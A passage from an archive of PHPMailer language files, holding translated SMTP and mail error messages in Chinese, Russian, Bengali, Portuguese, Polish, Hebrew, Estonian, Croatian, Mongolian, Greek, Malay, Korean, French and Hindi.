for definitive list * @package PHPMailer * @author liqwei <liqwei@liqwei.com> * @author Peter Dave Hello <@PeterDaveHello/> * @author Jason Chiang <xcojad@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP 錯誤:登入失敗。'; $PHPMAILER_LANG['connect_host'] = 'SMTP 錯誤:無法連線到 SMTP 主機。'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 錯誤:無法接受的資料。'; $PHPMAILER_LANG['empty_message'] = '郵件內容為空'; $PHPMAILER_LANG['encoding'] = '未知編碼: '; $PHPMAILER_LANG['execute'] = '無法執行:'; $PHPMAILER_LANG['file_access'] = '無法存取檔案:'; $PHPMAILER_LANG['file_open'] = '檔案錯誤:無法開啟檔案:'; $PHPMAILER_LANG['from_failed'] = '發送地址錯誤:'; $PHPMAILER_LANG['instantiate'] = '未知函數呼叫。'; $PHPMAILER_LANG['invalid_address'] = '因為電子郵件地址無效,無法傳送: '; $PHPMAILER_LANG['mailer_not_supported'] = '不支援的發信客戶端。'; $PHPMAILER_LANG['provide_address'] = '必須提供至少一個收件人地址。'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP 錯誤:以下收件人地址錯誤:'; $PHPMAILER_LANG['signing'] = '電子簽章錯誤: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 連線失敗'; $PHPMAILER_LANG['smtp_error'] = 'SMTP 伺服器錯誤: '; $PHPMAILER_LANG['variable_set'] = '無法設定或重設變數: '; $PHPMAILER_LANG['extension_missing'] = '遺失模組 Extension: '; phpmailer/phpmailer/language/phpmailer.lang-ru.php000064400000004307151676714400016346 0ustar00<?php /** * Russian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Alexey Chumakov <alex@chumakov.ru> * @author Foster Snowhill <i18n@forstwoof.ru> */ $PHPMAILER_LANG['authenticate'] = 'Ошибка SMTP: ошибка авторизации.'; $PHPMAILER_LANG['connect_host'] = 'Ошибка SMTP: не удается подключиться к SMTP-серверу.'; $PHPMAILER_LANG['data_not_accepted'] = 'Ошибка SMTP: данные не приняты.'; $PHPMAILER_LANG['encoding'] = 'Неизвестная кодировка: '; $PHPMAILER_LANG['execute'] = 'Невозможно выполнить команду: '; $PHPMAILER_LANG['file_access'] = 'Нет доступа к файлу: '; $PHPMAILER_LANG['file_open'] = 'Файловая ошибка: не удаётся открыть файл: '; $PHPMAILER_LANG['from_failed'] = 'Неверный адрес отправителя: '; $PHPMAILER_LANG['instantiate'] = 'Невозможно запустить функцию mail().'; $PHPMAILER_LANG['provide_address'] = 'Пожалуйста, введите хотя бы один email-адрес получателя.'; $PHPMAILER_LANG['mailer_not_supported'] = ' — почтовый сервер не поддерживается.'; $PHPMAILER_LANG['recipients_failed'] = 'Ошибка SMTP: не удалась отправка таким адресатам: '; $PHPMAILER_LANG['empty_message'] = 'Пустое сообщение'; $PHPMAILER_LANG['invalid_address'] = 'Не отправлено из-за неправильного формата email-адреса: '; $PHPMAILER_LANG['signing'] = 'Ошибка подписи: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ошибка соединения с SMTP-сервером'; $PHPMAILER_LANG['smtp_error'] = 'Ошибка SMTP-сервера: '; $PHPMAILER_LANG['variable_set'] = 'Невозможно установить или сбросить переменную: '; $PHPMAILER_LANG['extension_missing'] = 'Расширение отсутствует: '; phpmailer/phpmailer/language/phpmailer.lang-bn.php000064400000007405151676714400016321 0ustar00<?php /** * Bengali PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Manish Sarkar <manish.n.manish@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP ত্রুটি: প্রমাণীকরণ করতে অক্ষম৷'; $PHPMAILER_LANG['buggy_php'] = 'আপনার PHP সংস্করণ একটি বাগ দ্বারা প্রভাবিত হয় যার ফলে দূষিত বার্তা হতে পারে। এটি ঠিক করতে, পাঠাতে SMTP ব্যবহার করুন, আপনার php.ini এ mail.add_x_header বিকল্পটি নিষ্ক্রিয় করুন, MacOS বা Linux-এ স্যুইচ করুন, অথবা আপনার PHP সংস্করণকে 7.0.17+ বা 7.1.3+ এ পরিবর্তন করুন।'; $PHPMAILER_LANG['connect_host'] = 'SMTP ত্রুটি: SMTP সার্ভারের সাথে সংযোগ করতে অক্ষম৷'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP ত্রুটি: ডেটা গ্রহণ করা হয়নি৷'; $PHPMAILER_LANG['empty_message'] = 'বার্তার অংশটি খালি।'; $PHPMAILER_LANG['encoding'] = 'অজানা এনকোডিং: '; $PHPMAILER_LANG['execute'] = 'নির্বাহ করতে অক্ষম: '; $PHPMAILER_LANG['extension_missing'] = 'এক্সটেনশন অনুপস্থিত:'; $PHPMAILER_LANG['file_access'] = 'ফাইল অ্যাক্সেস করতে অক্ষম: '; $PHPMAILER_LANG['file_open'] = 'ফাইল ত্রুটি: ফাইল খুলতে অক্ষম: '; $PHPMAILER_LANG['from_failed'] = 'নিম্নলিখিত প্রেরকের ঠিকানা(গুলি) ব্যর্থ হয়েছে: '; $PHPMAILER_LANG['instantiate'] = 'মেল ফাংশনের একটি উদাহরণ তৈরি করতে অক্ষম৷'; $PHPMAILER_LANG['invalid_address'] = 'পাঠাতে অক্ষম: অবৈধ ইমেল ঠিকানা: '; $PHPMAILER_LANG['invalid_header'] = 'অবৈধ হেডার নাম বা মান'; $PHPMAILER_LANG['invalid_hostentry'] = 'অবৈধ হোস্টেন্ট্রি: '; $PHPMAILER_LANG['invalid_host'] = 'অবৈধ হোস্ট:'; $PHPMAILER_LANG['mailer_not_supported'] = 'মেইলার সমর্থিত নয়।'; $PHPMAILER_LANG['provide_address'] = 'আপনাকে অবশ্যই অন্তত একটি গন্তব্য ইমেল ঠিকানা প্রদান করতে হবে৷'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP ত্রুটি: নিম্নলিখিত গন্তব্যগুলি ব্যর্থ হয়েছে: '; $PHPMAILER_LANG['signing'] = 'স্বাক্ষর করতে ব্যর্থ হয়েছে: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP কোড: '; $PHPMAILER_LANG['smtp_code_ex'] = 'অতিরিক্ত SMTP তথ্য:'; $PHPMAILER_LANG['smtp_detail'] = 'বর্ণনা: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP সংযোগ() ব্যর্থ হয়েছে৷'; $PHPMAILER_LANG['smtp_error'] = 'SMTP সার্ভার ত্রুটি: '; $PHPMAILER_LANG['variable_set'] = 'পরিবর্তনশীল সেট করা যায়নি: '; $PHPMAILER_LANG['extension_missing'] = 'অনুপস্থিত এক্সটেনশন: '; phpmailer/phpmailer/language/phpmailer.lang-pt_br.php000064400000005237151676714400017031 0ustar00<?php /** * Brazilian Portuguese PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Paulo Henrique Garcia <paulo@controllerweb.com.br> * @author Lucas Guimarães <lucas@lucasguimaraes.com> * @author Phelipe Alves <phelipealvesdesouza@gmail.com> * @author Fabio Beneditto <fabiobeneditto@gmail.com> * @author Geidson Benício Coelho <geidsonc@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'Erro de SMTP: Não foi possível autenticar.'; $PHPMAILER_LANG['buggy_php'] = 'Sua versão do PHP é afetada por um bug que por resultar em messagens corrompidas. Para corrigir, mude para enviar usando SMTP, desative a opção mail.add_x_header em seu php.ini, mude para MacOS ou Linux, ou atualize seu PHP para versão 7.0.17+ ou 7.1.3+ '; $PHPMAILER_LANG['connect_host'] = 'Erro de SMTP: Não foi possível conectar ao servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erro de SMTP: Dados rejeitados.'; $PHPMAILER_LANG['empty_message'] = 'Mensagem vazia'; $PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; $PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; $PHPMAILER_LANG['extension_missing'] = 'Extensão não existe: '; $PHPMAILER_LANG['file_access'] = 'Não foi possível acessar o arquivo: '; $PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: Não foi possível abrir o arquivo: '; $PHPMAILER_LANG['from_failed'] = 'Os seguintes remetentes falharam: '; $PHPMAILER_LANG['instantiate'] = 'Não foi possível instanciar a função mail.'; $PHPMAILER_LANG['invalid_address'] = 'Endereço de e-mail inválido: '; $PHPMAILER_LANG['invalid_header'] = 'Nome ou valor de cabeçalho inválido'; $PHPMAILER_LANG['invalid_hostentry'] = 'hostentry inválido: '; $PHPMAILER_LANG['invalid_host'] = 'host inválido: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; $PHPMAILER_LANG['provide_address'] = 'Você deve informar pelo menos um destinatário.'; $PHPMAILER_LANG['recipients_failed'] = 'Erro de SMTP: Os seguintes destinatários falharam: '; $PHPMAILER_LANG['signing'] = 'Erro de Assinatura: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; $PHPMAILER_LANG['smtp_code'] = 'Código do servidor SMTP: '; $PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Informações adicionais do servidor SMTP: '; $PHPMAILER_LANG['smtp_detail'] = 'Detalhes do servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; phpmailer/phpmailer/language/phpmailer.lang-pl.php000064400000005113151676714400016327 0ustar00<?php /** * Polish PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'Błąd SMTP: Nie można przeprowadzić uwierzytelnienia.'; $PHPMAILER_LANG['buggy_php'] = 'Twoja wersja PHP zawiera błąd, który może powodować uszkodzenie wiadomości. Aby go naprawić, przełącz się na wysyłanie za pomocą SMTP, wyłącz opcję mail.add_x_header w php.ini, przełącz się na MacOS lub Linux lub zaktualizuj PHP do wersji 7.0.17+ lub 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'Błąd SMTP: Nie można połączyć się z wybranym hostem.'; $PHPMAILER_LANG['data_not_accepted'] = 'Błąd SMTP: Dane nie zostały przyjęte.'; $PHPMAILER_LANG['empty_message'] = 'Wiadomość jest pusta.'; $PHPMAILER_LANG['encoding'] = 'Błędny sposób kodowania znaków: '; $PHPMAILER_LANG['execute'] = 'Nie można uruchomić: '; $PHPMAILER_LANG['extension_missing'] = 'Brakujące rozszerzenie: '; $PHPMAILER_LANG['file_access'] = 'Brak dostępu do pliku: '; $PHPMAILER_LANG['file_open'] = 'Nie można otworzyć pliku: '; $PHPMAILER_LANG['from_failed'] = 'Następujący adres nadawcy jest nieprawidłowy lub nie istnieje: '; $PHPMAILER_LANG['instantiate'] = 'Nie można wywołać funkcji mail(). Sprawdź konfigurację serwera.'; $PHPMAILER_LANG['invalid_address'] = 'Nie można wysłać wiadomości, ' . 'następujący adres odbiorcy jest nieprawidłowy lub nie istnieje: '; $PHPMAILER_LANG['invalid_header'] = 'Nieprawidłowa nazwa lub wartość nagłówka'; $PHPMAILER_LANG['invalid_hostentry'] = 'Nieprawidłowy wpis hosta: '; $PHPMAILER_LANG['invalid_host'] = 'Nieprawidłowy host: '; $PHPMAILER_LANG['provide_address'] = 'Należy podać prawidłowy adres email odbiorcy.'; $PHPMAILER_LANG['mailer_not_supported'] = 'Wybrana metoda wysyłki wiadomości nie jest obsługiwana.'; $PHPMAILER_LANG['recipients_failed'] = 'Błąd SMTP: Następujący odbiorcy są nieprawidłowi lub nie istnieją: '; $PHPMAILER_LANG['signing'] = 'Błąd podpisywania wiadomości: '; $PHPMAILER_LANG['smtp_code'] = 'Kod SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Dodatkowe informacje SMTP: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Wywołanie funkcji SMTP Connect() zostało zakończone niepowodzeniem.'; $PHPMAILER_LANG['smtp_detail'] = 'Szczegóły: '; $PHPMAILER_LANG['smtp_error'] = 'Błąd SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Nie można ustawić lub zmodyfikować zmiennej: '; phpmailer/phpmailer/language/phpmailer.lang-he.php000064400000003424151676714400016313 0ustar00<?php /** * Hebrew PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Ronny Sherer <ronny@hoojima.com> */ $PHPMAILER_LANG['authenticate'] = 'שגיאת SMTP: פעולת האימות נכשלה.'; $PHPMAILER_LANG['connect_host'] = 'שגיאת SMTP: לא הצלחתי להתחבר לשרת SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'שגיאת SMTP: מידע לא התקבל.'; $PHPMAILER_LANG['empty_message'] = 'גוף ההודעה ריק'; $PHPMAILER_LANG['invalid_address'] = 'כתובת שגויה: '; $PHPMAILER_LANG['encoding'] = 'קידוד לא מוכר: '; $PHPMAILER_LANG['execute'] = 'לא הצלחתי להפעיל את: '; $PHPMAILER_LANG['file_access'] = 'לא ניתן לגשת לקובץ: '; $PHPMAILER_LANG['file_open'] = 'שגיאת קובץ: לא ניתן לגשת לקובץ: '; $PHPMAILER_LANG['from_failed'] = 'כתובות הנמענים הבאות נכשלו: '; $PHPMAILER_LANG['instantiate'] = 'לא הצלחתי להפעיל את פונקציית המייל.'; $PHPMAILER_LANG['mailer_not_supported'] = ' אינה נתמכת.'; $PHPMAILER_LANG['provide_address'] = 'חובה לספק לפחות כתובת אחת של מקבל המייל.'; $PHPMAILER_LANG['recipients_failed'] = 'שגיאת SMTP: הנמענים הבאים נכשלו: '; $PHPMAILER_LANG['signing'] = 'שגיאת חתימה: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; $PHPMAILER_LANG['smtp_error'] = 'שגיאת שרת SMTP: '; $PHPMAILER_LANG['variable_set'] = 'לא ניתן לקבוע או לשנות את המשתנה: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-et.php000064400000003320151676714400016322 0ustar00<?php /** * Estonian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Indrek Päri * @author Elan Ruusamäe <glen@delfi.ee> */ $PHPMAILER_LANG['authenticate'] = 'SMTP Viga: Autoriseerimise viga.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Viga: Ei õnnestunud luua ühendust SMTP serveriga.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Viga: Vigased andmed.'; $PHPMAILER_LANG['empty_message'] = 'Tühi kirja sisu'; $PHPMAILER_LANG["encoding"] = 'Tundmatu kodeering: '; $PHPMAILER_LANG['execute'] = 'Tegevus ebaõnnestus: '; $PHPMAILER_LANG['file_access'] = 'Pole piisavalt õiguseid järgneva faili avamiseks: '; $PHPMAILER_LANG['file_open'] = 'Faili Viga: Faili avamine ebaõnnestus: '; $PHPMAILER_LANG['from_failed'] = 'Järgnev saatja e-posti aadress on vigane: '; $PHPMAILER_LANG['instantiate'] = 'mail funktiooni käivitamine ebaõnnestus.'; $PHPMAILER_LANG['invalid_address'] = 'Saatmine peatatud, e-posti address vigane: '; $PHPMAILER_LANG['provide_address'] = 'Te peate määrama vähemalt ühe saaja e-posti aadressi.'; $PHPMAILER_LANG['mailer_not_supported'] = ' maileri tugi puudub.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Viga: Järgnevate saajate e-posti aadressid on vigased: '; $PHPMAILER_LANG["signing"] = 'Viga allkirjastamisel: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() ebaõnnestus.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP serveri viga: '; $PHPMAILER_LANG['variable_set'] = 'Ei õnnestunud määrata või lähtestada muutujat: '; $PHPMAILER_LANG['extension_missing'] = 'Nõutud laiendus on puudu: '; phpmailer/phpmailer/language/phpmailer.lang-hr.php000064400000003332151676714400016326 0ustar00<?php /** * Croatian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Hrvoj3e <hrvoj3e@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela autentikacija.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Ne mogu se spojiti na SMTP poslužitelj.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; $PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; $PHPMAILER_LANG['encoding'] = 'Nepoznati encoding: '; $PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; $PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; $PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; $PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje s navedenih e-mail adresa nije uspjelo: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedenih e-mail adresa nije uspjelo: '; $PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; $PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; $PHPMAILER_LANG['provide_address'] = 'Definirajte barem jednu adresu primatelja.'; $PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP poslužitelj nije uspjelo.'; $PHPMAILER_LANG['smtp_error'] = 'Greška SMTP poslužitelja: '; $PHPMAILER_LANG['variable_set'] = 'Ne mogu postaviti varijablu niti ju vratiti nazad: '; $PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; phpmailer/phpmailer/language/phpmailer.lang-mn.php000064400000004212151676714400016325 0ustar00<?php /** * Mongolian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author @wispas */ $PHPMAILER_LANG['authenticate'] = 'Алдаа SMTP: Холбогдож чадсангүй.'; $PHPMAILER_LANG['connect_host'] = 'Алдаа SMTP: SMTP- сервертэй холбогдож болохгүй байна.'; $PHPMAILER_LANG['data_not_accepted'] = 'Алдаа SMTP: зөвшөөрөгдсөнгүй.'; $PHPMAILER_LANG['encoding'] = 'Тодорхойгүй кодчилол: '; $PHPMAILER_LANG['execute'] = 'Коммандыг гүйцэтгэх боломжгүй байна: '; $PHPMAILER_LANG['file_access'] = 'Файлд хандах боломжгүй байна: '; $PHPMAILER_LANG['file_open'] = 'Файлын алдаа: файлыг нээх боломжгүй байна: '; $PHPMAILER_LANG['from_failed'] = 'Илгээгчийн хаяг буруу байна: '; $PHPMAILER_LANG['instantiate'] = 'Mail () функцийг ажиллуулах боломжгүй байна.'; $PHPMAILER_LANG['provide_address'] = 'Хүлээн авагчийн имэйл хаягийг оруулна уу.'; $PHPMAILER_LANG['mailer_not_supported'] = ' — мэйл серверийг дэмжсэнгүй.'; $PHPMAILER_LANG['recipients_failed'] = 'Алдаа SMTP: ийм хаягийг илгээж чадсангүй: '; $PHPMAILER_LANG['empty_message'] = 'Хоосон мессэж'; $PHPMAILER_LANG['invalid_address'] = 'И-Мэйл буруу форматтай тул илгээх боломжгүй: '; $PHPMAILER_LANG['signing'] = 'Гарын үсгийн алдаа: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP сервертэй холбогдоход алдаа гарлаа'; $PHPMAILER_LANG['smtp_error'] = 'SMTP серверийн алдаа: '; $PHPMAILER_LANG['variable_set'] = 'Хувьсагчийг тохируулах эсвэл дахин тохируулах боломжгүй байна: '; $PHPMAILER_LANG['extension_missing'] = 'Өргөтгөл байхгүй: '; phpmailer/phpmailer/language/phpmailer.lang-el.php000064400000006353151676714400016323 0ustar00<?php /** * Greek PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'Σφάλμα SMTP: Αδυναμία πιστοποίησης.'; $PHPMAILER_LANG['buggy_php'] = 'Η έκδοση PHP που χρησιμοποιείτε παρουσιάζει σφάλμα που μπορεί να έχει ως αποτέλεσμα κατεστραμένα μηνύματα. Για να το διορθώσετε, αλλάξτε τον τρόπο αποστολής σε SMTP, απενεργοποιήστε την επιλογή mail.add_x_header στο αρχείο php.ini, αλλάξτε λειτουργικό σε MacOS ή Linux ή αναβαθμίστε την PHP σε έκδοση 7.0.17+ ή 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'Σφάλμα SMTP: Αδυναμία σύνδεσης με τον φιλοξενητή SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Σφάλμα SMTP: Μη αποδεκτά δεδομένα.'; $PHPMAILER_LANG['empty_message'] = 'Η ηλεκτρονική επιστολή δεν έχει περιεχόμενο.'; $PHPMAILER_LANG['encoding'] = 'Άγνωστη μορφή κωδικοποίησης: '; $PHPMAILER_LANG['execute'] = 'Αδυναμία εκτέλεσης: '; $PHPMAILER_LANG['extension_missing'] = 'Απουσία επέκτασης: '; $PHPMAILER_LANG['file_access'] = 'Αδυναμία πρόσβασης στο αρχείο: '; $PHPMAILER_LANG['file_open'] = 'Σφάλμα Αρχείου: Αδυναμία ανοίγματος αρχείου: '; $PHPMAILER_LANG['from_failed'] = 'Η ακόλουθη διεύθυνση αποστολέα δεν είναι σωστή: '; $PHPMAILER_LANG['instantiate'] = 'Αδυναμία εκκίνησης συνάρτησης Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Μη έγκυρη διεύθυνση: '; $PHPMAILER_LANG['invalid_header'] = 'Μη έγκυρο όνομα κεφαλίδας ή τιμή'; $PHPMAILER_LANG['invalid_hostentry'] = 'Μη έγκυρη εισαγωγή φιλοξενητή: '; $PHPMAILER_LANG['invalid_host'] = 'Μη έγκυρος φιλοξενητής: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer δεν υποστηρίζεται.'; $PHPMAILER_LANG['provide_address'] = 'Δώστε τουλάχιστον μια ηλεκτρονική διεύθυνση παραλήπτη.'; $PHPMAILER_LANG['recipients_failed'] = 'Σφάλμα SMTP: Οι παρακάτω διευθύνσεις παραλήπτη δεν είναι έγκυρες: '; $PHPMAILER_LANG['signing'] = 'Σφάλμα υπογραφής: '; $PHPMAILER_LANG['smtp_code'] = 'Κώδικάς SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Πρόσθετες πληροφορίες SMTP: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Αποτυχία σύνδεσης SMTP.'; $PHPMAILER_LANG['smtp_detail'] = 'Λεπτομέρεια: '; $PHPMAILER_LANG['smtp_error'] = 'Σφάλμα με τον διακομιστή SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Αδυναμία ορισμού ή επαναφοράς μεταβλητής: '; phpmailer/phpmailer/language/phpmailer.lang-ms.php000064400000003306151676714400016335 0ustar00<?php /** * Malaysian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Nawawi Jamili <nawawi@rutweb.com> */ $PHPMAILER_LANG['authenticate'] = 'Ralat SMTP: Tidak dapat pengesahan.'; $PHPMAILER_LANG['connect_host'] = 'Ralat SMTP: Tidak dapat menghubungi hos pelayan SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Ralat SMTP: Data tidak diterima oleh pelayan.'; $PHPMAILER_LANG['empty_message'] = 'Tiada isi untuk mesej'; $PHPMAILER_LANG['encoding'] = 'Pengekodan tidak diketahui: '; $PHPMAILER_LANG['execute'] = 'Tidak dapat melaksanakan: '; $PHPMAILER_LANG['file_access'] = 'Tidak dapat mengakses fail: '; $PHPMAILER_LANG['file_open'] = 'Ralat Fail: Tidak dapat membuka fail: '; $PHPMAILER_LANG['from_failed'] = 'Berikut merupakan ralat dari alamat e-mel: '; $PHPMAILER_LANG['instantiate'] = 'Tidak dapat memberi contoh fungsi e-mel.'; $PHPMAILER_LANG['invalid_address'] = 'Alamat emel tidak sah: '; $PHPMAILER_LANG['mailer_not_supported'] = ' jenis penghantar emel tidak disokong.'; $PHPMAILER_LANG['provide_address'] = 'Anda perlu menyediakan sekurang-kurangnya satu alamat e-mel penerima.'; $PHPMAILER_LANG['recipients_failed'] = 'Ralat SMTP: Penerima e-mel berikut telah gagal: '; $PHPMAILER_LANG['signing'] = 'Ralat pada tanda tangan: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() telah gagal.'; $PHPMAILER_LANG['smtp_error'] = 'Ralat pada pelayan SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Tidak boleh menetapkan atau menetapkan semula pembolehubah: '; $PHPMAILER_LANG['extension_missing'] = 'Sambungan hilang: '; phpmailer/phpmailer/language/phpmailer.lang-ko.php000064400000003353151676714400016331 0ustar00<?php /** * Korean PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author ChalkPE <amato0617@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP 오류: 인증할 수 없습니다.'; $PHPMAILER_LANG['connect_host'] = 'SMTP 오류: SMTP 호스트에 접속할 수 없습니다.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 오류: 데이터가 받아들여지지 않았습니다.'; $PHPMAILER_LANG['empty_message'] = '메세지 내용이 없습니다'; $PHPMAILER_LANG['encoding'] = '알 수 없는 인코딩: '; $PHPMAILER_LANG['execute'] = '실행 불가: '; $PHPMAILER_LANG['file_access'] = '파일 접근 불가: '; $PHPMAILER_LANG['file_open'] = '파일 오류: 파일을 열 수 없습니다: '; $PHPMAILER_LANG['from_failed'] = '다음 From 주소에서 오류가 발생했습니다: '; $PHPMAILER_LANG['instantiate'] = 'mail 함수를 인스턴스화할 수 없습니다'; $PHPMAILER_LANG['invalid_address'] = '잘못된 주소: '; $PHPMAILER_LANG['mailer_not_supported'] = ' 메일러는 지원되지 않습니다.'; $PHPMAILER_LANG['provide_address'] = '적어도 한 개 이상의 수신자 메일 주소를 제공해야 합니다.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP 오류: 다음 수신자에서 오류가 발생했습니다: '; $PHPMAILER_LANG['signing'] = '서명 오류: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 연결을 실패하였습니다.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP 서버 오류: '; $PHPMAILER_LANG['variable_set'] = '변수 설정 및 초기화 불가: '; $PHPMAILER_LANG['extension_missing'] = '확장자 없음: '; phpmailer/phpmailer/language/phpmailer.lang-fr.php000064400000005336151676714400016332 0ustar00<?php /** * French PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * Some French punctuation requires a thin non-breaking space (U+202F) character before it, * for example before a colon or exclamation mark. * There is one of these characters between these quotes: " " * @see http://unicode.org/udhr/n/notes_fra.html */ $PHPMAILER_LANG['authenticate'] = 'Erreur SMTP : échec de l’authentification.'; $PHPMAILER_LANG['buggy_php'] = 'Votre version de PHP est affectée par un bug qui peut entraîner des messages corrompus. Pour résoudre ce problème, passez à l’envoi par SMTP, désactivez l’option mail.add_x_header dans le fichier php.ini, passez à MacOS ou Linux, ou passez PHP à la version 7.0.17+ ou 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'Erreur SMTP : impossible de se connecter au serveur SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erreur SMTP : données incorrectes.'; $PHPMAILER_LANG['empty_message'] = 'Corps du message vide.'; $PHPMAILER_LANG['encoding'] = 'Encodage inconnu : '; $PHPMAILER_LANG['execute'] = 'Impossible de lancer l’exécution : '; $PHPMAILER_LANG['extension_missing'] = 'Extension manquante : '; $PHPMAILER_LANG['file_access'] = 'Impossible d’accéder au fichier : '; $PHPMAILER_LANG['file_open'] = 'Ouverture du fichier impossible : '; $PHPMAILER_LANG['from_failed'] = 'L’adresse d’expéditeur suivante a échoué : '; $PHPMAILER_LANG['instantiate'] = 'Impossible d’instancier la fonction mail.'; $PHPMAILER_LANG['invalid_address'] = 'Adresse courriel non valide : '; $PHPMAILER_LANG['invalid_header'] = 'Nom ou valeur de l’en-tête non valide'; $PHPMAILER_LANG['invalid_hostentry'] = 'Entrée d’hôte non valide : '; $PHPMAILER_LANG['invalid_host'] = 'Hôte non valide : '; $PHPMAILER_LANG['mailer_not_supported'] = ' client de messagerie non supporté.'; $PHPMAILER_LANG['provide_address'] = 'Vous devez fournir au moins une adresse de destinataire.'; $PHPMAILER_LANG['recipients_failed'] = 'Erreur SMTP : les destinataires suivants ont échoué : '; $PHPMAILER_LANG['signing'] = 'Erreur de signature : '; $PHPMAILER_LANG['smtp_code'] = 'Code SMTP : '; $PHPMAILER_LANG['smtp_code_ex'] = 'Informations supplémentaires SMTP : '; $PHPMAILER_LANG['smtp_connect_failed'] = 'La fonction SMTP connect() a échouée.'; $PHPMAILER_LANG['smtp_detail'] = 'Détails : '; $PHPMAILER_LANG['smtp_error'] = 'Erreur du serveur SMTP : '; $PHPMAILER_LANG['variable_set'] = 'Impossible d’initialiser ou de réinitialiser une variable : '; phpmailer/phpmailer/language/phpmailer.lang-hi.php000064400000007270151676714400016322 0ustar00<?php /** * Hindi PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Yash Karanke <mr.karanke@gmail.com> * Rewrite and extension of the work by Jayanti Suthar <suthar.jayanti93@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP त्रुटि: प्रामाणिकता की जांच नहीं हो सका। '; $PHPMAILER_LANG['buggy_php'] = 'PHP का आपका संस्करण एक बग से प्रभावित है जिसके परिणामस्वरूप संदेश दूषित हो सकते हैं. इसे ठीक करने हेतु, भेजने के लिए SMTP का उपयोग करे, अपने php.ini में mail.add_x_header विकल्प को अक्षम करें, MacOS या Linux पर जाए, या अपने PHP संस्करण को 7.0.17+ या 7.1.3+ बदले.'; $PHPMAILER_LANG['connect_host'] = 'SMTP त्रुटि: SMTP सर्वर से कनेक्ट नहीं हो सका। '; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP त्रुटि: डेटा 